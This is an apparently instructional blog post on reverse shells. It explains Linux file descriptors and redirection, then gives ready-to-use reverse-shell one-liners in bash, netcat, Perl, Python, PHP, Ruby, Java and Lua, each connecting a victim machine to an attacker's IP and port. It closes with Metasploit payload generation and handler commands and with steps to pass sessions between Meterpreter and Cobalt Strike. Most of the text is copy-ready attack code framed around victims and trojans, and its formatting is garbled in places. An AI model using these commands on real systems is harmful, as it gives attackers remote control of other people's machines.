Reverse Shell is normal used for its advantages in avoiding being detected.
Attacker’s machine (which has a public IP and is reachable over the internet) acts as a server. It opens a communication channel on a port and waits for incoming connections.
Victim’s machine acts as a client and initiates a connection to the attacker’s listening server.
Linux Reverse Shell
On Linux we use /bin/bash
, /bin/sh
and some other shell terminals, and to get a reverse shell is often so easy that people often builds streamlined commands.
But before we use them, it’s better to go deeper and learn things about file descriptor and redirection.
File Descriptor
When Linux boots up, it will open three file descriptors by default:
- standard input :0 (keyboard as default)
- standard output :1 (pc monitor as default)
- error output :2 (pc monitor as default)
As everything is file on Linux, even devices. so devices i/o are controlled by file descriptors.
At first, binding relations are in below
- stdin 0 ->
/dev/tty0
- stdout 1 ->
/dev/tty0
- stderr 2 ->
/dev/tty0
If we want to disable display of input on monitor, or input to other devices or files, we need redirection.
Redirection
Input redirection: <
<<
(redirect 0)
Output redirection: >
>>
(redirect 1)<
and >
are just redirection, <<
and >>
are appending content.
Before executing a command, bash process redirection symbols first.
Bash redirect file descriptor first, then delete redirection symbols.
Input redirection example: [n]< word
If n
is omitted (< word
), that is 0 (standard input) by default (same as 0< word
).
Which means the content of word
is replacing stdin
to be the input.
Yon can see effects only if a program receive stdin
to interactive.
- stdin 0 ->
word(file, device, ...)
- stdout 1 ->
/dev/tty0
- stderr 2 ->
/dev/tty0
Output redirection example: [n]> word
If n
is omitted (> word
), that is 1 (standard input) by default (same as 1> word
).
Which means the output will be transferred to the word
, whatever it is a file or a device, rather than display on stdout
.
- stdin 0 ->
/dev/tty0
- stdout 1 ->
word(file, device, ...)
- stderr 2 ->
/dev/tty0
echo "str" > file.txt
is to wipe file.txt, then add content.echo "str" >> file.txt
is to append string to older content.
stdin
and stderr
redirection: &> word
or >& word
Both of them redirect stdin
and stderr
to word
.
Now the situation is
- stdin 0 ->
/dev/tty0
- stdout 1 ->
word(file, device, ...)
- stderr 2 ->
word(file, device, ...)
Actually they are the same with > word 2>&1
, then we talk about how 2>&1
works here.
Copy of file descriptor: [n]<&[m]
/ [n]>&[m]
Both of them copy n
file descriptor to m
, the difference is, [n]<&[m]
open as read only, [n]>&[m]
open in write mode.0<&1
and 0>&1
works the same, because it has nothing to do with read or write mode.
So the &
here is to distinguish files (named as number) and file descriptors.
Read and write mode:
You may notice that the file descriptor at the arrow side of the <
and >
opened as writable, so we use [n]<>word
to bind n
with word
.
Now what we do to n
also works on word
.
Binding redirection: exec [n] </> file/[n]
Above mentioned only work for that command, use exec
to make it effect all the time.
Cases
On attacker pc we do
1 | $ nc -lvp port |
Then on victim pc we do
1 | $ bash -i >& /dev/tcp/attack_ip/port 0>&1 |
After that attacker receive the shell
1 | $ nc -lvp port |
Notes:bash -i
here spawns an interactive shell./dev/tcp/ip/port
is a device, you can interact with it to build socket
.>&
is to redirect all output to attacker pc.0>&1
is to receive commands from attacker and then echo the result.
so it can be also written as
1 | $ bash -i > /dev/tcp/attack_ip/port 0>&1 2>&1 |
Another Method:
1 | $ bash -i >& /dev/tcp/attack_ip/port <&2 |
which is
1 | $ bash -i >& /dev/tcp/attack_ip/port 0<&2 |
The situation is
- stdin 0 ->
/dev/tcp/attack_ip/port
- stdout 1 ->
/dev/tcp/attack_ip/port
- stderr 2 ->
/dev/tcp/attack_ip/port
One More:
1 | $ exec 5<>/dev/tcp/attack_ip/port;cat <&5|while read line;do $line >&5 2>&1;done |
exec 5<>/dev/tcp/attack_ip/port
let us operate file descriptor 5 as if interacting with the socket
command|while read line do .....done
comes from
1 | while read line |
which is read contents from the file. Now we read from file descriptor 5, tht is the socket
.
And the one below is similar
1 | $ 0<&196;exec 196<>/dev/tcp/attacker_ip/port; sh <&196 >&196 2>&196 |
Netcat
Netcat aka nc
, is called the Swiss Army Knife in network utilities. It can be used like telnet
to communicate, or a ftp
server to transfer files.
It can also help you get a reverse shell.
1 | $ nc -e /bin/sh attacker_ip port |
-e /bin/sh
means execute a shell and send it to remote.
Some version doesn’t have this option, so we do
1 | $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker_ip port >/tmp/f |
mkfifo
is making a pipe to communicate.
A similar method
1 | $ mknod backpipe p; nc attacker_ip port 0<backpipe | /bin/bash 1>backpipe 2>backpipe |
Another usage
1 | $ nc attacker_ip port1|/bin/sh|nc attacker_ip port2 |
It requires attacker to listen two ports, type commands to port1, then see result from port2.
Perl
Execute
1 | $ perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
or
1 | $ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
The effective perl codes are
1 | use Socket; |
and
1 | $p=fork; |
Python
Execute in shell
1 | $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
The python codes are
1 | import socket,subprocess,os |
PHP
Execute in shell
1 | $ php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");' |
The PHP source are
1 | $sock=fsockopen("ip",port); |
Ruby
Execute in shell
1 | $ ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
The ruby source are
1 | f=TCPSocket.open("ip",port).to_i |
Remember to load lib in opinion.
Java
Java use Runtime
class to execute.
1 | r = Runtime.getRuntime() |
Lua
Execute in shell
1 | $ lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
And the lua codes are
1 | require('socket') |
Meterpreter & Beacon
MSF
For metasploit framework, it has many kinds of reverse shell in meterpreter
1 | ... |
Actually there are about 200 kinds of meterpreter
aiming at every platforms.
CS
For Cobalt Strike, it has named its reverse shell module as beacon
Beacon reverse shell listeners are
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
Foreign listeners for external reverse shells(from MSF
or Armitage
)
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
Interoperability
Here we talk about the interoperability between meterpreter
and beacon
.
From MSF to CS
Generate a
meterpreter
payload1
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=msf_ip lport=msf_port -f exe -o hello.exe
Set listener in Metasploit Framework
1
2
3
4
5
6
7
8msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost msf_ip
lhost => msf_ip
msf5 exploit(multi/handler) > set lport msf_port
lport => msf_port
msf5 exploit(multi/handler) > runOpen Cobalt Strike to create a new listener (using
windows/beacon_http/reverse_http
)Use
payload_inject
module1
2
3
4
5
6
7
8
9
10meterpreter > background
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
# payload must be corresponding to that in cs
msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf5 exploit(windows/local/payload_inject) > set lhost cs_ip
msf5 exploit(windows/local/payload_inject) > set lport cs_port
# set meterpreter session
msf5 exploit(windows/local/payload_inject) > set session 1
msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler true
msf5 exploit(windows/local/payload_inject) > runThen we see one new pc gets online in Cobalt Strike.
After that we convert a meterpreter
to be a beacon
.
From CS to MSF
Create a foreign listener in Cobalt Strike (using
windows/foreign/reverse_http
).Generate a payload (Windows Executable) in Cobalt Strike.
Open Metasploit Framework to set listener
1
2
3
4
5msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost msf_ip
msf5 exploit(multi/handler) > set lport msf_port
msf5 exploit(multi/handler) > runWhen target triggers the trojan, we will get a
meterpreter
in Metasploit Framework.
If we have already got a beacon
, we can spawn a foreign reverse shell, and deliver a meterpreter
.